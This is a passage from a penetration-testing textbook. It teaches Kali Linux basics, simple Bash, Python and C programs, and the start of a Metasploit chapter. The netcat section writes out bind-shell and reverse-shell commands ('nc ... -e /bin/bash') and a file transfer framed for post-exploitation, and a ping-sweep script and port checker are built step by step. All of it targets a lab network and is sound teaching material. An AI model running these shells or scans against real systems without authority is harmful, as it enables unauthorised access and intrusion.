--snip-Search:georgia
^G Get Help ^Y First Line^T Go To Line^W Beg of ParM-J FullJstifM-B Backwards
^C Cancel
^V Last Line ^R Replace
^O End of ParM-C Case SensM-R Regexp

Nano should find the text georgia if the word is in the file. To exit, press ctrl-X. You will be prompted to save the file or lose the changes, as shown here:
--snip-Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ? Y
Y Yes
N No
^C Cancel

Enter Y to save the file. Now we’ll edit the file with the vi editor.

Editing a File with vi
Add the text in Listing 2-5 to testfile.txt. In addition to the contents of the file, at the bottom of the vi screen you see some information including the filename, number of lines, and the current cursor position (see Listing 2-5). root@kali:~/mydirectory# vi testfile.txt hi georgia we are teaching pentesting today ~
"testfile.txt" 7L, 46C
All

1,1

Listing 2-5: Editing files with vi
Using Kali Linux 63

Unlike nano, you can’t just start editing the file once it is opened in vi.
To edit a file, enter I to put vi into insert mode. You should see the word
INSERT displayed at the bottom of your terminal. Once you’ve finished making changes, press esc to exit insert mode and return to command mode. Once in command mode, you can use commands to edit your text.
For example, position the cursor at the line we and enter dd to delete the word we from the file.
To exit vi, enter :wq to tell vi to write the changes to the file and quit, as shown in Listing 2-6. hi georgia are teaching pentesting today
:wq
Listing 2-6: Saving changes in vi

NOTE

To learn more about available commands for vi and nano, read the corresponding man pages.
Which editor you use daily is up to you. Throughout this book we’ll use nano to edit files, but feel free to substitute your editor of choice.

Data Manipulation
Now for a bit of data manipulation. Enter the text in Listing 2-7 in myfile using your desired text editor. The file lists some of my favorite security conferences and the months when they typically happen. root@kali:~/mydirectory# cat myfile
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackcon April
Listing 2-7: Example list for data manipulation

64 Chapter 2

Using grep
The command grep looks for instances of a text string in a file. For example, to search for all instances of the string September in our file, enter grep
September myfile as follows. root@kali:~/mydirectory# grep September myfile
1 Derbycon September
3 Brucon September

As you can see, grep tells us that Derbycon and Brucon are in September.
Now suppose you want only the names of the conferences in Septem­ ber but not the number or the month. You can send the output of grep to another command for additional processing using a pipe (|). The cut command allows you to take each line of input, choose a delimiter, and print specific fields. For example, to get just the names of conferences that run in
September you can grep for the word September as you did previously. Next, you pipe (|) the output to cut, where you specify a space as the delimiter with the -d option and say you want the second field with the field (-f) option, as shown here. root@kali:~/mydirectory# grep September myfile | cut -d " " -f 2
Derbycon
Brucon

The result, as you can see, is that by piping the two commands together you get just the conferences Derbycon and Brucon.

Using sed
Another command for manipulating data is sed. Entire books have been written about using sed, but we’ll cover just the basics here with a simple example of finding a specific word and replacing it.
The sed command is ideal for editing files automatically based on certain patterns or expressions. Say, for instance, you have a very long file, and you need to replace every instance of a certain word. You can do this quickly and automatically with the sed command.
In the language of sed, a slash (/) is the delimiter character. For example, to replace all instances of the word Blackhat with Defcon in myfile, enter sed 's/Blackhat/Defcon/' myfile, as shown in Listing 2-8. root@kali:~/mydirectory# sed 's/Blackhat/Defcon/' myfile
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Defcon July
5 Bsides *
6 HackerHalted October
7 Hackcon April
Listing 2-8: Replacing words with sed
Using Kali Linux 65

Pattern Matching with awk
Another command line utility for pattern matching is the awk command.
For example, if you want to find conferences numbered 6 or greater, you can use awk to search the first field for entries greater than 5, as shown here. root@kali:~/mydirectory# awk '$1 >5' myfile
6 HackerHalted October
7 Hackcon April

Or, if you want only the first and third words in every line, you can enter awk '{print $1,$3;}' myfile, as shown in Listing 2-9. root@kali:~/mydirectory# awk '{print $1,$3;}' myfile
1 September
2 January
3 September
4 July
5 *
6 October
7 April
Listing 2-9: Selecting certain columns with awk

NOTE

We’ve looked at only simple examples of using these data manipulation utilities in this section. To get more information, consult the man pages. These utilities can be powerful time-savers.

Managing Installed Packages
On Debian-based Linux distributions such as Kali Linux, you can use the
Advanced Packaging Tool (apt) to manage packages. To install a package, enter apt-get install package. For example, to install Raphael Mudge’s front­ end for Metasploit, Armitage, in Kali Linux, enter the following: root@kali:~# apt-get install armitage

It’s that easy: apt installs and configures Armitage for you.
Updates are regularly released for the tools installed on Kali Linux. To get the latest versions of the packages already installed, enter apt-get upgrade.
The repositories Kali uses for packages are listed in the file /etc/apt/sources
.list. To add additional repositories, you can edit this file and then run the command apt-get update to refresh the database to include the new repositories. 66 Chapter 2

Note

This book is built off the base install of Kali 1.0.6 unless otherwise noted in
Chapter 1, so in order to follow along with the book as is, don’t update Kali.

Processes and Services
In Kali Linux you can start, stop, or restart services using the service command. For example, to start the Apache web server, enter service apache2 start as shown next. root@kali:~/mydirectory# service apache2 start
[....] Starting web server: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
. ok

Likewise, to stop the MySQL database server, enter service mysql stop.

Managing Networking
When setting up the Kali Linux virtual machines in Chapter 1, you used the ifconfig command to view network information as shown in
Listing 2-10. root@kali:~# ifconfig eth0u Link encap:Ethernet HWaddr 00:0c:29:df:7e:4d inet addr:192.168.20.9v Bcast:192.168.20.255 Mask:255.255.255.0w inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1756332 errors:930193 dropped:17 overruns:0 frame:0
TX packets:1115419 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000
RX bytes:1048617759 (1000.0 MiB) TX bytes:115091335 (109.7 MiB)
Interrupt:19 Base address:0x2024
--snip-Listing 2-10: Viewing networking information with ifconfig

From the output of ifconfig you can glean a lot of information about your system’s network state. For one, the network interface is called eth0 u.
The IPv4 address (inet addr) that my Kali box uses to talk to the network is 192.168.20.9 v (yours will probably differ). An IP address is a 32-bit label assigned to devices in a network. The IP address is named up of 4 octets, or 8-bit parts.

Using Kali Linux 67

The address’s network mask, or netmask (Mask), at w identifies which parts of the IP address are part of the network and which parts belong to the host. In this case the netmask 255.255.255.0 tells you that the network is the first three octets, 192.168.20.
The default gateway is where your host routes traffic to other networks.
Any traffic destined outside the local network will be sent to the default gateway for it to figure out where it needs to go. root@kali:~# route
Kernel IP routing table
Destination
Gateway default 192.168.20.1u
192.168.20.0
*

Genmask
0.0.0.0
255.255.255.0

Flags Metric Ref
UG
0
0
U
0
0

Use Iface
0 eth0
0 eth0

The route command output tells us that the default gateway is
192.168.20.1 u. This makes sense because the system with the IP address 192.168.20.1 is the wireless router in my home network. Take note of your own default gateway for use in the following section.

Setting a Static IP Address
By default, your network connection uses dynamic host configuration protocol (DHCP) to pull an IP address from the network. To set a static address, so that your IP address won’t change, you need to edit the file
/etc/network/interfaces. Use your preferred editor to open this file. The default configuration file is shown in Listing 2-11.
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface auto lo iface lo inet loopback
Listing 2-11: The default /etc/network/interfaces file

To give your system a static IP address you need to add an entry for the eth0 interface. Add the text shown in Listing 2-12 to /etc/network/interfaces with the IP addresses changed to match your environment.
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface auto lo iface lo inet loopback auto eth0 iface eth0 inet static u address 192.168.20.9

68 Chapter 2

netmask 255.255.255.0 v gateway 192.168.20.1 w
Listing 2-12: Adding a static IP address

You set the IP address for eth0 as static at u. Use the IP address, netmask , and gateway  you found in the previous section to fill in the information in your file.
Once you’ve made these changes, restart networking with service networking restart so that the newly added static networking information will be used.

Viewing Network Connections
To view network connections, listening ports, and so on, use the netstat command. For example, you can see the programs listening on TCP ports by issuing the command netstat -antp, as shown in Listing 2-13. Ports are simply software-based network sockets that listen on the network to allow remote systems to interact with programs on a system. root@kali:~/mydirectory# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
Foreign Address
PID/Program name tcp6 0
0 :::80
:::*
15090/apache2

State
LISTEN

Listing 2-13: Using netstat to view listening ports

You see that the Apache web server you started earlier in the chapter is listening on TCP port 80. (See the man page for other netstat options.)

Netcat: The Swiss Army Knife of TCP/IP Connections
As the man page notes, the Netcat tool is known as the Swiss Army knife for TCP/IP connections. It’s a versatile tool that we’ll utilize throughout this book.
To see Netcat’s various options enter nc -h, as shown in Listing 2-14. root@kali:~# nc -h
[v1.10-40]
connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b
allow broadcasts
--snip-Listing 2-14: Netcat help information
Using Kali Linux 69

Check to See If a Port Is Listening
Let’s have Netcat connect to a port to see if that port is listening for connections. You saw previously that the Apache web server is listening on port 80 on your Kali Linux system. Tell Netcat to attach to port 80 verbosely, or output rich, with the -v option as shown next. If you started Apache correctly, you should see the following when attempting to connect the service. root@kali:~# nc -v 192.168.20.9 80
(UNKNOWN) [192.168.20.10] 80 (http) open

As you can see, Netcat reports that port 80 is indeed listening (open) on the network. (We’ll look more at open ports and why they are interesting in
Chapter 5’s discussion of port scanning.)
You can also listen on a port for an incoming connection using Netcat, as shown next. root@kali:~# nc -lvp 1234 listening on [any] 1234 ...

You use the options l for listen, v for verbose, and p to specify the port to listen on.
Next, open a second terminal window and use Netcat to connect to the
Netcat listener. root@kali:~# nc 192.168.20.9 1234 hi georgia

Once you connect, enter the text hi georgia, and when you return to the listener’s terminal window, you see that a connection was received and your text was printed. listening on [any] 1234 ... connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51917 hi georgia

Close down both Netcat processes by pressing ctrl-C.

Opening a Command Shell Listener
Now for something a bit more interesting. When you set up your Netcat listener, use the -e flag to tell Netcat to execute /bin/bash (or start a Bash command prompt) when a connection is received. This allows anyone who connects to the listener to execute commands on your system, as shown next. root@kali:~# nc -lvp 1234 -e /bin/bash listening on [any] 1234 ...

Again, use a second terminal window to connect to the Netcat listener.

70 Chapter 2

root@kali:~# nc 192.168.20.9 1234 whoami root

You can now issue Linux commands to be executed by the Netcat listener. The whoami Linux command will tell you the current logged-in user.
In this case, because the Netcat process was started by the root user, your commands will be executed as root.
NOTE

This is a simple example because both your Netcat listener and the connection are on the same system. You could use another of your virtual machines, or even your host system, for this exercise as well.
Close down both Netcat processes again.

Pushing a Command Shell Back to a Listener
In addition to listening on a port with a command shell, you can also push a command shell back to a Netcat listener. This time set up the Netcat listener without the -e flag as shown next. root@kali:~# nc -lvp 1234 listening on [any] 1234 ...

Now open a second terminal, and connect back to the Netcat listener you just created as shown here. root@kali:~# nc 192.168.20.9 1234 -e /bin/bash

Connect with Netcat as usual, but this time use the -e flag to execute
/bin/bash on the connection. Back in your first terminal you see a connection as shown next, and if you enter terminal commands, you will see them executed. (We’ll learn more about listening with /bin/bash on a local port and actively pushing /bin/bash with a connection, known as bind shells and reverse shells, respectively, in Chapter 4.) listening on [any] 1234 ... connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51921 whoami root

Now, one more thing with Netcat. This time, instead of outputting what comes into your listener to the screen, use > to send it to a file as shown next. root@kali:~# nc -lvp 1234 > netcatfile listening on [any] 1234 ...

In the second terminal you set up Netcat to connect, but this time you use the < symbol to tell it to send the contents of a file (myfile) over the
Using Kali Linux 71

Netcat connection. Give Netcat a second or two to finish, and then examine the contents of the file netcatfile created by your first Netcat instance. The contents should be identical to myfile. root@kali:~# nc 192.168.20.9 1234 < mydirectory/myfile

You have used Netcat to transfer the file. In this case we’ve simply transferred the file from one directory to another, but you can imagine how this technique can be used to transfer files from system to system—a technique that often comes in handy in the post-exploitation phase of a pentest, once you have access to a system.

Automating Tasks with cron Jobs
The cron command allows us to schedule tasks to automatically run at a specified time. In the /etc directory in Kali, you can see several files and directories related to cron, as shown in Listing 2-15. root@kali:/etc# ls | grep cron cron.d cron.daily cron.hourly cron.monthly crontab cron.weekly
Listing 2-15: crontab files

The cron.daily, cron.hourly, cron.monthly, and cron.weekly directories specify scripts that will run automatically, every day, every hour, every month, or every week, depending on which directory you put your script in.
If you need more flexibility you can edit cron’s configuration file, /etc/ crontab. The default text is shown in Listing 2-16.
#
#
#
#
#

/etc/crontab: system-wide crontab
Unlike any other crontab you don't have to run the `crontab' command to install the new version when you edit this file and files in /etc/cron.d. These files also have username fields, that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h
17 *
25 6
47 6
52 6
#

dom
* *
* *
* *
1 *

mon dow
* root
* root
7 root
* root

user command cd / && run-parts --report test -x /usr/sbin/anacron || test -x /usr/sbin/anacron || test -x /usr/sbin/anacron ||

Listing 2-16: crontab configuration file

72 Chapter 2

/etc/cron.hourly u
( cd / && run-parts --report /etc/cron.daily ) v
( cd / && run-parts --report /etc/cron.weekly )
( cd / && run-parts --report /etc/cron.monthly )

The fields in a crontab are, from left to right, the minute, hour, day of the month, month, day of the week, user who will run the command, and, finally, the command to be run. To run a command every day of the week, every hour, and so on, you use an asterisk (*) instead of specifying a value for the column.
For example, look at the first crontab line at u, which runs the hourly cron jobs specified in /etc/cron.hourly. This crontab runs on the 17th minute of every hour every day of every month on every day of the week. The line at v says that the daily crontab (/etc/cron.daily) will be run at the 25th minute of the 6th hour of every day of every month on every day of the week. (For more flexibility, you can add a line here instead of adding to the hourly, daily, weekly, or monthly lists.)

Summary
In this chapter we’ve looked at some common Linux tasks. Navigating the
Linux filesystem, working with data, and running services are all skills that will serve you well as you move through the rest of this book. In addition, when attacking Linux systems, knowing which commands to run in a Linux environment will help you make the most of successful exploitation. You may want to automatically run a command periodically by setting up a cron job or use Netcat to transfer a file from your attack machine. You will use
Kali Linux to run your attacks throughout this book, and one of your target systems is Ubuntu Linux, so having the basics in place will make learning pentesting come more naturally.

Using Kali Linux 73

3

Progr amming

In this chapter we will look at some basic examples of computer programming. We will look at writing programs to automate various useful tasks in multiple programming languages. Even though we use prebuilt software for the majority of this book, it is useful to be able to create your own programs.
Bash Scripting
In this section we’ll look at using Bash scripts to run several commands at once. Bash scripts, or shell scripts, are files that include multiple terminal commands to be run. Any command we can run in a terminal can be run in a script.

Ping
We’ll call our first script pingscript.sh. When it runs, this script will perform a ping sweep on our local network that sends Internet Control Message
Protocol (ICMP) messages to remote systems to see if they respond.
We’ll use the ping tool to determine which hosts are reachable on a network. (Although some hosts may not respond to ping requests and may be up despite not being “pingable,” a ping sweep is still a good place to start.)
By default, we supply the IP address or hostname to ping. For example, to ping our Windows XP target, enter the bold code in Listing 3-1. root@kali:~/# ping 192.168.20.10
PING 192.168.20.10 (192.168.20.10) 56(84) bytes of data.
64 bytes from 192.168.20.10: icmp_req=1 ttl=64 time=0.090 ms
64 bytes from 192.168.20.10: icmp_req=2 ttl=64 time=0.029 ms
64 bytes from 192.168.20.10: icmp_req=3 ttl=64 time=0.038 ms
64 bytes from 192.168.20.10: icmp_req=4 ttl=64 time=0.050 ms
^C
--- 192.168.20.10 ping statistics --4 packets transmitted, 4 received, 0% packet loss, time 2999 ms rtt min/avg/max/mdev = 0.029/0.051/0.090/0.024 ms
Listing 3-1: Pinging a remote host

We can tell from the ping output that the Windows XP target is up and responding to ping probes because we received replies to our ICMP requests. (The trouble with ping is that it will keep running forever unless you stop it with ctrl-C.)

A Simple Bash Script
Let’s begin writing a simple Bash script to ping hosts on the network. A good place to start is by adding some help information that tells your users how to run your script correctly.
#!/bin/bash
echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20"

The first line of this script tells the terminal to use the Bash interpreter.
The next two lines that begin with echo simply tell the user that our ping script will take a command line argument (network), telling the script which network to ping sweep (for example, 192.168.20). The echo command will simply print the text in quotes. note This script implies we are working with a class C network, where the first three octets of the IP address make up the network.
After creating the script, use chmod to make it executable so we can run it. root@kali:~/# chmod 744 pingscript.sh

76 Chapter 3

Running Our Script
Previously, when entering Linux commands, we typed the command name at the prompt. The filesystem location of built-in Linux commands as well as pentest tools added to Kali Linux are part of our PATH environmental variable. The PATH variable tells Linux which directories to search for executable files. To see which directories are included in our PATH, enter echo $PATH. root@kali:~/# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Notice in the output that the /root directory is not listed. That means that we won’t be able to simply enter pingscript.sh to run our Bash script. Instead we’ll enter ./pingscript.sh to tell the terminal to run the script from our current directory. As shown next, the script prints the usage information. root@kali:~/# ./pingscript.sh
Usage: ./pingscript.sh [network] example: ./pingscript.sh 192.168.20

Adding Functionality with if Statements
Now let’s add in a bit more functionality with an if statement, as shown in
Listing 3-2.
#!/bin/bash
if [ "$1" == "" ] u then v echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" fi w
Listing 3-2: Adding an if statement

Typically a script needs to print usage information only if the user uses it incorrectly. In this case, the user needs to supply the network to scan as a command line argument. If the user fails to do so, we want to inform the user how to run our script correctly by printing the usage information. To accomplish this, we can use an if statement to see if a condition is met. By using an if statement, we can have our script echo the usage information only under certain conditions—for example, if the user does not supply a command line argument.
The if statement is available in many programming languages, though the syntax varies from language to language. In Bash scripting, an if statement is used like this: if [condition], where condition is the condition that must be met.

Programming 77

In the case of our script, we first see whether the first command line argument is null u. The symbol $1 represents the first command line argument in a Bash script, and double equal signs (==) check for equality. After the if statement, we have a then statement v. Any commands between the then statement and the fi (if backward) w are executed only if the conditional statement is true—in this case, when the first command line argument to the script is null.
When we run our new script with no command line argument, the if statement evaluates as true, because the first command line argument is indeed null, as shown here. root@kali:~/# ./pingscript.sh
Usage: ./pingscript.sh [network] example: ./pingscript.sh 192.168.20

As expected we see usage information echoed to the screen.

A for Loop
If we run the script again with a command line argument, nothing happens. Now let’s add some functionality that is triggered when the user runs the script with the proper arguments, as shown in Listing 3-3.
#!/bin/bash
if [ "$1" == "" ] then echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" else u for x in `seq 1 254`; do v ping -c 1 $1.$x done w fi Listing 3-3: Adding a for loop

After our then statement, we use an else statement u to instruct the script to run code when the if statement evaluates as false—in this case, if the user supplies a command line argument. Because we want this script to ping all possible hosts on the local network, we need to loop through the numbers 1 through 254 (the possibilities for the final octet of an
IP version 4 address) and run the ping command against each of these possibilities. An ideal way to run through sequential possibilities is with a for loop v.
Our for loop, for x in `seq 1 254`; do, tells the script to run the code that follows for each number from 1 to 254. This will allow us to run one set of instructions 254 times rather than writing out code for each instance. We denote the end of a for loop with the instruction done w.

78 Chapter 3

Inside the for loop, we want to ping each of the IP addresses in the network. Using ping’s man page, we find that the -c option will allow us to limit the number of times we ping a host. We set -c to 1 so that each host will be pinged just once.
To specify which host to ping, we want to concatenate the first command line argument (which denotes the first three octets) with the current iteration of the for loop. The full command to use is ping -c 1 $1.$x. Recall that the $1 denotes the first command line argument, and $x is the current iteration of the for loop. The first time our for loop runs, it will ping
192.168.20.1, then 192.168.20.2, all the way to 192.168.20.254. After iteration 254, our for loop finishes.
When we run our script with the first three octets of our IP address as the command line argument, the script pings each IP address in the network as shown in Listing 3-4. root@kali:~/# ./pingscript.sh 192.168.20
PING 192.168.20.1 (192.168.20.1) 56(84) bytes of data.
64 bytes from 192.168.20.1: icmp_req=1 ttl=255 time=8.31 ms u
--- 192.168.20.1 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 8.317/8.317/8.317/0.000 ms
PING 192.168.20.2(192.168.20.2) 56(84) bytes of data.
64 bytes from 192.168.20.2: icmp_req=1 ttl=128 time=166 ms
--- 192.168.20.2 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 166.869/166.869/166.869/0.000 ms
PING 192.168.20.3 (192.168.20.3) 56(84) bytes of data.
From 192.168.20.13 icmp_seq=1 Destination Host Unreachable v
--- 192.168.20.3 ping statistics --1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
--snip-Listing 3-4: Running the ping sweep script

Your results will vary based on the systems in your local network. Based on this output, I can tell that in my network, the host 192.168.20.1 is up, and
I received an ICMP reply u. On the other hand, the host 192.168.20.3 is not up, so I received a host unreachable notification v.

Streamlining the Results
All this information printed to screen is not very nice to look at, and anyone who uses our script will need to sift through a lot of information to determine which hosts in the network are up. Let’s add some additional functionality to streamline our results.

Programming 79

In the previous chapter we covered grep, which searches for and matches specific patterns. Let’s use grep to filter the script’s output, as shown in Listing 3-5.
#!/bin/bash
if [ "$1" == "" ] then echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" else for x in `seq 1 254`; do ping -c 1 $1.$x | grep "64 bytes" u done fi
Listing 3-5: Using grep to filter results

Here we look for all instances of the string 64 bytes u, which occurs when an ICMP reply is received when pinging a host. If we run the script with this change, we see that only lines that include the text 64 bytes are printed to the screen, as shown here. root@kali:~/# 64 bytes from
64 bytes from
64 bytes from
--snip--

./pingscript.sh 192.168.20
192.168.20.1: icmp_req=1 ttl=255 time=4.86 ms
192.168.20.2: icmp_req=1 ttl=128 time=68.4 ms
192.168.20.8: icmp_req=1 ttl=64 time=43.1 ms

We get indicators only for live hosts; hosts that do not answer are not printed to the screen.
But we can make this script even nicer to work with. The point of our ping sweep is to get a list of live hosts. By using the cut command discussed in Chapter 2, we can print the IP addresses of only the live hosts, as shown in
Listing 3-6.
#!/bin/bash
if [ "$1" == "" ] then echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" else for x in `seq 1 254`; do ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 u done fi
Listing 3-6: Using cut to further filter results

We can use a space as the delimiter and grab the fourth field, our IP address, as shown at u.

80 Chapter 3

Now we run the script again as shown here. root@kali:~/mydirectory# ./pingscript.sh 192.168.20
192.168.20.1:
192.168.20.2:
192.168.20.8:
--snip--

Unfortunately, we see a trailing colon at the end of each line. The results would be clear enough to a user, but if we want to use these results as input for any other programs, we need to delete the trailing colon. In this case, sed is the answer.
The sed command that will delete the final character from each line is sed 's/.$//', as shown in Listing 3-7.
#!/bin/bash
if [ "$1" == "" ] then echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" else for x in `seq 1 254`; do ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 | sed 's/.$//' done fi
Listing 3-7: Using sed to drop the trailing colon

Now when we run the script, everything looks perfect, as shown here. root@kali:~/# ./pingscript.sh 192.168.20
192.168.20.1
192.168.20.2
192.168.20.8
--snip--

NOTE

Of course, if we want to output the results to a file instead of to the screen, we can use the >> operator, covered in Chapter 2, to append each live IP address to a file. Try automating other tasks in Linux to practice your Bash scripting skills.

Python Scripting
Linux systems typically come with interpreters for other scripting languages such as Python and Perl. Interpreters for both languages are included in
Kali Linux. In Chapters 16 through 19, we’ll use Python to write our own exploit code. For now, let’s write a simple Python script and run it in Kali
Linux just to demonstrate the basics of Python scripting.

Programming 81

For this example we’ll do something similar to our first Netcat example in Chapter 2: We’ll attach to a port on a system and see if the port is listening. A starting point for our script is shown here.
#!/usr/bin/python u ip = raw_input("Enter the ip: ") v port = input("Enter the port: ") w

In the previous section, the first line of our script told the terminal to use Bash to interpret the script. We do the same thing here, pointing to the
Python interpreter installed on Kali Linux at /usr/bin/python u.
We’ll begin by prompting the user for data and recording input into variables. The variables will store the input for use later in the script. To take input from the user, we can use the Python function raw_input v. We want to save our port as an integer, so we use a similar built-in Python function, input, at w. Now we ask the user to input an IP address and a port to test.
After saving the file, use chmod to make the script executable before running the script, as shown here. root@kali:~/mydirectory# chmod 744 pythonscript.py root@kali:~/mydirectory# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 80

When you run the script, you’re prompted for an IP address and a port, as expected.
Now we will add in some functionality to allow us to use the user’s input to connect to the chosen system on the selected port to see if it is open
(Listing 3-8).
#!/usr/bin/python
import socket u ip = raw_input("Enter the ip: ") port = input("Enter the port: ") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) v if s.connect_ex((ip, port)): w print "Port", port, "is closed" x else: y print "Port", port, "is open"
Listing 3-8: Adding port-scanning functionality

To perform networking tasks in Python, we can include a library called socket using the command import socket u. The socket library does the heavy lifting for setting up a network socket.
The syntax for creating a TCP network socket is socket.socket(socket.AF_
INET, socket.SOCK_STREAM). We set a variable equal to this network socket at v.

82 Chapter 3

Connecting to a Port
When creating a socket to connect to a remote port, the first candidate available from Python is the socket function connect. However, there is a better candidate for our purposes in the similar function, connect_ex.
According to the Python documentation, connect_ex is like connect except that it returns an error code instead of raising an exception if the connection fails. If the connection succeeds, connect_ex will return the value 0.
Because we want to know whether the function can connect to the port, this return value seems ideal to feed into an if statement.

if Statements in Python
When building if statements in Python, we enter if condition:. In Python the statements that are part of a conditional or loop are denoted with indentations rather than ending markers, as we saw in Bash scripting. We can instruct our if statement to evaluate the returned value of the connection of our TCP socket to the user-defined IP address and port with the command if s.connect_ex((ip, port)): w. If the connection succeeds, connect_ex will return 0, which will be evaluated by the if statement as false. If the connection fails, connect_ex will return a positive integer, or true. Thus, if our if statement evaluates as true, it stands to reason that the port is closed, and we can present this to the user using the Python print command at x. And, as in the Bash scripting example, if connect_ex returns 0 at y, we can use an else statement (the syntax is else: in Python) to instead inform the user that the tested port is open.
Now, run the updated script to test whether TCP port 80 is running on the Windows XP target host as shown here. root@kali:~/# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 80
Port 80 is open

According to our script, port 80 is open. Now run the script again against port 81. root@kali:~/# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 81
Port 81 is closed

This time, the script reports that port 81 is closed.
NOTE

We will look at checking open ports in Chapter 5, and we will return to Python scripting when we study exploit development. Kali Linux also has interpreters for the Perl and Ruby languages. We will learn a little bit of Ruby in Chapter 19. It never hurts to know a little bit of multiple languages. If you are up for a challenge, see if you can re-create this script in Perl and Ruby.

Programming 83

Writing and Compiling C Programs
Time for one more simple programming example, this time in the C programming language. Unlike scripting languages such as Bash and Python,
C code must be compiled and translated into machine language that the
CPU can understand before it is run.
Kali Linux includes the GNU Compiler Collection (GCC), which will allow us to compile C code to run on the system. Let’s create a simple C program that says hello to a command line argument, as shown in Listing 3-9.
#include <stdio.h> u int main(int argc, char *argv[]) v
{
if(argc < 2) w
{
printf("%s\n", "Pass your name as an argument"); x return 0; y
}
else
{
printf("Hello %s\n", argv[1]); z return 0;
}
}
Listing 3-9: “Hello World” C program

The syntax for C is a bit different from that of Python and Bash. Because our code will be compiled, we don’t need to tell the terminal which interpreter to use at the beginning of our code. First, as with our Python example, we import a C library. In this case we’ll import the stdio (short for standard input and output) library, which will allow us to accept input and print output to the terminal. In C, we import stdio with the command #include
<stdio.h> u.
Every C program has a function called main v that is run when the program starts. Our program will take a command line argument, so we pass an integer argc and a character array argv to main. argc is the argument count, and argv is the argument vector, which includes any command line arguments passed to the program. This is just standard syntax for C programs that accept command line arguments. (In C, the beginning and end of functions, loops, and so on are denoted by braces {}.)
First, our program checks to see if a command line argument is present. The argc integer is the length of the argument array; if it is less than two (the program name itself and the command line argument), then a command line argument has not been given. We can use an if statement to check w.
The syntax for if is also a little different in C. As with our Bash script, if a command line argument is not given, we can prompt the user with usage information x. The printf function allows us to write output to the terminal. Also note that statements in C are finished with a semicolon (;). Once
84 Chapter 3

we’re through with our program, we use a return statement y to finish the function main. If a command line argument is supplied, our else statement instructs the program to say hello z. (Be sure to use braces to close all of your loops and the main function.)
Before we can run our program, we need to compile it with GCC as shown here. Save the program as cprogram.c. root@kali:~# gcc cprogram.c -o cprogram

Use the -o option to specify the name for the compiled program and feed your C code to GCC. Now run the program from your current directory. If the program is run with no arguments, you should see usage information as shown here. root@kali:~# ./cprogram
Pass your name as an argument

If instead we pass it an argument, in this case our name, the program tells us hello. root@kali:~# ./cprogram georgia
Hello georgia

NOTE

We will look at another C programming example in Chapter 16, where a little bit of sloppy C coding leads to a buffer overflow condition, which we will exploit.

Summary
In this chapter we’ve looked at simple programs in three different languages.
We looked at basic constructs, such as saving information in variables for later use. Additionally, we learned how to use conditionals, such as if statements, and iterations, such as for loops, to have the program make decisions based on the provided information. Though the syntax used varies from programming language to programming language, the ideas are the same.

Programming 85

4

Using the
Me ta sploit Fr a me work

In subsequent chapters, we’ll take an in-depth look at the phases of penetration testing, but in this chapter, we’ll dive right in and get some hands-on experience with exploitation. Though the information-gathering and reconnaissance phases often have more bearing on a pentest’s success than exploitation does, it’s more fun to gather shells (a remote connection to an exploited target) or trick users into entering their company credentials into your cloned website.
In this chapter we’ll work with the Metasploit Framework, a tool that has become the de facto standard for penetration testers. First released in
2003, Metasploit has reached cult status in the security community. Though
Metasploit is now owned by the security company Rapid7, an open source edition is still available, with development largely driven by the security community. Metasploit’s modular and flexible architecture helps developers efficiently create working exploits as new vulnerabilities are discovered. As you’ll see, Metasploit is intuitive and easy to use, and it offers a centralized way to run trusted exploit code that has been vetted for accuracy by the security community.
Why use Metasploit? Say you’ve discovered a vulnerability in your client environment—the Windows XP system at 192.168.20.10 is missing Microsoft security bulletin MS08-067. As a penetration tester, it is up to you to exploit this vulnerability, if possible, and assess the risk of a compromise.
One approach might be to set up in your lab a Windows XP system that is also missing this patch, attempt to trigger the vulnerability, and develop a working exploit. But developing exploits by hand takes both time and skill, and the window of opportunity for your pentest may be closing.
You could instead search for code that exploits this vulnerability on the Internet. Sites like Packet Storm Security (http://www.packetstormsecurity
.com/), SecurityFocus (http://www.securityfocus.com/), and Exploit Database
(http://www.exploit-db.com/) provide repositories of known exploit code.
But be forewarned: Not all public exploit code does what it claims to do.
Some exploit code may destroy the target system or even attack your system instead of the target. You should always be vigilant when running anything you find online and read through the code carefully before trusting it. Addi­ tionally, the public exploits you find may not meet your needs right out of the box. You may need to do some additional work to port them to your pentest environment.
